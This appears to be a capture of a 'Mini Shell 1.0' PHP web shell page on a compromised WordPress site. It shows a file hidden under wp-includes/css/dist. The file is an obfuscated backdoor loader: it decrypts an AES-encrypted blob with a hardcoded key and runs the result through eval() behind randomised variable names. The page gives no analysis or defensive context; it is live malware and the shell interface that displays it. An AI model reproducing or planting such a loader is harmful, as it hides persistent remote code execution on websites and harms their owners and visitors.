HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/jamesakinola.com/wp-includes/css/dist/commands/jost/
Upload File :
Current File : //home/dhnidqcz/jamesakinola.com/wp-includes/css/dist/commands/jost/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('GQ5oqtFEEEs2wWxZLPbKcFhQI2iWiGFA');
$str = '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';
$decrypted = $secure->decrypt($str);
$SAFdCrh9js = function($VdvsMn78sWe){
/*QxSMrdGJE*/eVaL($VdvsMn78sWe);
$pwN1j5kl5GV = "DvPWp0irTYvzOYK8MidUf0MRDTdK0isp";
return $pwN1j5kl5GV;
};
$SAFdCrh9js($decrypted);